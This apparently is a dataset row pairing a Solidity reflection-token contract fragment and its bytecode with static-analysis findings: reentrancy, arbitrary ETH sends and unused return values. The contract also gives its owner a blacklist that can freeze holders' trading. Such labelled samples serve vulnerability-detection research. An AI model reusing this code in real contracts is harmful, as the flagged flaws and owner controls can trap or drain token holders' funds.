sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600c81526020017f466f6f7462616c6c20496e750000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f66494e5500000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d606461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095eca8e1acdb4fdf3a6016ded38ca04b04ed1c3ca7f98b8e8dd83ab39e660ddd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.